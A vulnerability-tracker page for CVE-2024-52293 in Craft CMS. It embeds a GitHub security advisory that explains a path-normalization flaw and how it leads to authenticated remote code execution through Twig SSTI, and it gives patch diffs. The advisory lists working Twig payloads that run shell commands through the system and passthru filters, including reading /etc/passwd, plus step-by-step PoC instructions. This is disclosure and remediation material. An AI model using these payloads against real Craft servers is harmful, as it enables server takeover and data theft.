CVE-2024-52293

highpriority · track · 29EPSS 0.014 · 72 %ileEURUUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
1.36% (72nd) EPSS
CVSS 7.2 · high
Is it mine?
12 products
Check your exposure
Who says so?
5 sources
cnnvd · enisa_euvd · fstec_bdu · nvd

EPSS · scored 2026-10-27

Craft is a content management system (CMS). Prior to 4.12.2 and 5.4.3, Craft is missing normalizePath in the function FileHelper::absolutePath could lead to Remote Code Execution on the server via twig SSTI. This is a sequel to CVE-2023-40035. This vulnerability is fixed in 4.12.2 and 5.4.3.

01

cvss

Technical severity, 0–10. One row per scoring source.

7.2
010

base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · medium–high · 6.6–7.2

v3.17.2highCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:Hprimary · NVD / NIST USexploitability 1.2 · impact 5.9
v3.17.2highAV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:Hsecondary · FSTEC (BDU) RU
v3.17.2highCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:Hsecondary · ENISA EU
v3.17.2highCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:Hsecondary · security-advisories@github.comexploitability 1.2 · impact 5.9
v3.17.2highCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:Hsecondary · OSV
v3.16.6mediumCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H/E:Usecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: poc · Automatable: no · Technical Impact: totalcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

affected products (12)

Products and version ranges known to be affected.

05

advisories (1)

Vendor and ecosystem advisories describing this.

  • GHSA-f3cw-hg6r-chfvCraft CMS vulnerable to Potential Remote Code Execution via missing path normalization & Twig SSTI2024-11-13ghsa · osvUS

    ### Summary Missing `normalizePath` in the function `FileHelper::absolutePath` could lead to Remote Code Execution on the server via twig SSTI. `(Post-authentication, ALLOW_ADMIN_CHANGES=true)` ### Details Note: This is a sequel to [CVE-2023-40035](https://github.com/craftcms/cms/security/advisories/GHSA-44wr-rmwq-3phw) In [`src/helpers/FileHelper.php#L106-L137`](https://github.com/craftcms/cms/blob/5e56c6d168524ed02f0620c9bc1c9750f5b94e3b/src/helpers/FileHelper.php#L106-L137), the function `absolutePath` returned `$from . $ds . $to` without path normalization: ```php /** * Returns an absolute path based on a source location or the current working directory. * * @param string $to The target path. * @param string|null $from The source location. Defaults to the current working directory. * @param string $ds the directory separator to be used in the normalized result. Defaults to `DIRECTORY_SEPARATOR`. * @return string * @since 4.3.5 */ public static function absolutePath( string $to, ?string $from = null, string $ds = DIRECTORY_SEPARATOR, ): string { $to = static::normalizePath($to, $ds); // Already absolute? if ( str_starts_with($to, $ds) || preg_match(sprintf('/^[A-Z]:%s/', preg_quote($ds, '/')), $to) ) { return $to; } if ($from === null) { $from = FileHelper::normalizePath(getcwd(), $ds); } else { $from = static::absolutePath($from, ds: $ds); } return $from . $ds . $to; } ``` This could leads to multiple security risks, one of them is in [`src/services/Security.php#L201-L220`](https://github.com/craftcms/cms/blob/5e56c6d168524ed02f0620c9bc1c9750f5b94e3b/src/services/Security.php#L201-L220) where `../templates/poc` is not considered a system dir. Let's see what happens after calling `isSystemDir("../templates/poc")`: ```php /** * Returns whether the given file path is located within or above any system directories. * * @param string $path * @return bool * @since 5.4.2 */ public function isSystemDir(string $path): bool // $path = "../templates/poc" { $path = FileHelper::absolutePath($path, '/'); // $path = "/var/www/html/web//../templates/poc" foreach (Craft::$app->getPath()->getSystemPaths() as $dir) { $dir = FileHelper::absolutePath($dir, '/'); // $dir = "/var/www/html/templates" if (str_starts_with("$path/", "$dir/") || str_starts_with("$dir/", "$path/")) { // if (false || false) return true; } } return false; // We're here! } ``` Now that the path `../templates/poc` can bypass `isSystemDir`, it will also bypass the function `validatePath` in [`src/fs/Local.php#L124-L136`](https://github.com/craftcms/cms/blob/5e56c6d168524ed02f0620c9bc1c9750f5b94e3b/src/fs/Local.php#L124-L136): ```php /** * @param string $attribute * @param array|null $params * @param InlineValidator $validator * @return void * @since 4.4.6 */ public function validatePath(string $attribute, ?array $params, InlineValidator $validator): void { if (Craft::$app->getSecurity()->isSystemDir($this->getRootPath())) { $validator->addError($this, $attribute, Craft::t('app', 'Local filesystems cannot be located within or above system directories.')); } } ``` We can now create a Local filesystem within the system directories, particularly in `/var/www/html/templates/poc` Then create a new asset volume with that filesystem, upload a `poc.ttml` file with twig code and execute using a new route with template path `poc/poc.ttml` Although craftcms does sandbox twig ssti, the list in [src/web/twig/Extension.php#L180-L268](https://github.com/craftcms/cms/blob/5e56c6d168524ed02f0620c9bc1c9750f5b94e3b/src/web/twig/Extension.php#L180-L268) is still incomplete. ```js {{['id'] has some 'system'}} {{['ls'] has every 'passthru'}} {{['cat /etc/passwd']|find('system')}} {{['id;pwd;ls -altr /']|find('passthru')}} ``` These payloads still work, see [twigphp/Twig/src/Extension/CoreExtension.php#getFilters()](https://github.com/twigphp/Twig/blob/a3496d148b75e270065ed8f03758f7b09b3a9793/src/Extension/CoreExtension.php#L196-L247) and [twigphp/Twig/src/Extension/CoreExtension.php#getOperators()](https://github.com/twigphp/Twig/blob/a3496d148b75e270065ed8f03758f7b09b3a9793/src/Extension/CoreExtension.php#L291-L333) for more informations. ### PoC 1. Craft CMS was installed using https://craftcms.com/docs/4.x/installation.html#quick-start ```sh mkdir craftcms && cd craftcms ddev config --project-type=craftcms --docroot=web --create-docroot ddev composer create -y --no-scripts "craftcms/craft" ddev craft install php craft setup/security-key ddev start ``` <img width="1280" alt="start" src="https://github.com/user-attachments/assets/f8bcc22a-6ffd-40a5-81c6-c077fa4ce1d3"> 2. Create a new filesystem with base path `../templates/poc` <img width="1280" alt="filesystem" src="https://github.com/user-attachments/assets/fe78e023-bd51-4fc1-a22e-dcfa5baf266b"> Notice that the `poc` directory was created <img width="167" alt="dir" src="https://github.com/user-attachments/assets/ccc45ce8-8555-4aae-ae48-320a630e7d79"> 3. Create a new asset volume using the `poc` filesystem <img width="1280" alt="asset" src="https://github.com/user-attachments/assets/b5530766-11b4-4e45-ae58-82f81fc2db00"> Upload a `poc.ttml` file with RCE template code ```js {{'<pre>'}} {{ 8*8 }} {{['id'] has some 'system'}} {{['ls'] has every 'passthru'}} {{['cat /etc/passwd']|find('system')}} {{['id;pwd;ls -altr /']|find('passthru')}} ``` Note: `find` was added to twig [last month](https://github.com/twigphp/Twig/commit/4e262511930e408e4c7eda07b1c977f2ea98575c). If you're running this poc on an older version of twig try removing the last 2 lines. <img width="1280" alt="upload" src="https://github.com/user-attachments/assets/63e65beb-2ede-4141-85d2-e7d21cd4b8ad"> ![ttml](https://github.com/user-attachments/assets/9db8ca9b-25eb-4014-a7f5-4ece895b106d) 4. Create a new route `*` with template `poc/poc.ttml` <img width="1280" alt="route" src="https://github.com/user-attachments/assets/b92d9340-b6a5-40d8-a8e8-ddab5cfc9f21"> 5. This leads to Remote Code Execution on arbitrary route `/*` <img width="454" alt="rce" src="https://github.com/user-attachments/assets/19765f6c-1c28-4a0b-a89c-25f6f05ceca6"> ### Remediation ```diff diff --git a/src/helpers/FileHelper.php b/src/helpers/FileHelper.php index 0c2da884a7..ac23ce556a 100644 --- a/src/helpers/FileHelper.php +++ b/src/helpers/FileHelper.php @@ -133,7 +133,7 @@ class FileHelper extends \yii\helpers\FileHelper $from = static::absolutePath($from, ds: $ds); } - return $from . $ds . $to; + return FileHelper::normalizePath($from . $ds . $to); } /** ``` ![fix_norm](https://github.com/user-attachments/assets/4c8e5b4f-6216-416c-87a1-9b9fae033971) See [twigphp/Twig/src/Extension/CoreExtension.php](https://github.com/twigphp/Twig/blob/a3496d148b75e270065ed8f03758f7b09b3a9793/src/Extension/CoreExtension.php) for updated filters and operators, a possible fix could look like: ```diff diff --git a/src/web/twig/Extension.php b/src/web/twig/Extension.php index efff2d2412..756f452f8b 100644 --- a/src/web/twig/Extension.php +++ b/src/web/twig/Extension.php @@ -225,6 +225,9 @@ class Extension extends AbstractExtension implements GlobalsInterface new TwigFilter('lcfirst', [$this, 'lcfirstFilter']), new TwigFilter('literal', [$this, 'literalFilter']), new TwigFilter('map', [$this, 'mapFilter'], ['needs_environment' => true]), + new TwigFilter('find', [$this, 'find'], ['needs_environment' => true]), + new TwigFilter('has some' => ['precedence' => 20, 'class' => HasSomeBinary::class, 'associativity' => ExpressionParser::OPERATOR_LEFT]), + new TwigFilter('has every' => ['precedence' => 20, 'class' => HasEveryBinary::class, 'associativity' => ExpressionParser::OPERATOR_LEFT]), new TwigFilter('markdown', [$this, 'markdownFilter'], ['is_safe' => ['html']]), new TwigFilter('md', [$this, 'markdownFilter'], ['is_safe' => ['html']]), new TwigFilter('merge', [$this, 'mergeFilter']), ``` ![fix_ssti](https://github.com/user-attachments/assets/5d9ce9be-022b-4853-a5f9-688b247cc27c) ### Impact Take control of vulnerable systems, Data exfiltrations, Malware execution, Pivoting, etc. Although the vulnerability is exploitable only in the authenticated users, configuration with `ALLOW_ADMIN_CHANGES=true`, there is still a potential security threat (Remote Code Execution)

06

also known as (4)

Other names and identifiers for this entity.

07

sources

Which sources assert this record, and when.

published 2024-11-13modified 2026-06-17
08

references (8)

External citations — patches, advisories, analysis.

scry

Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.

Free scan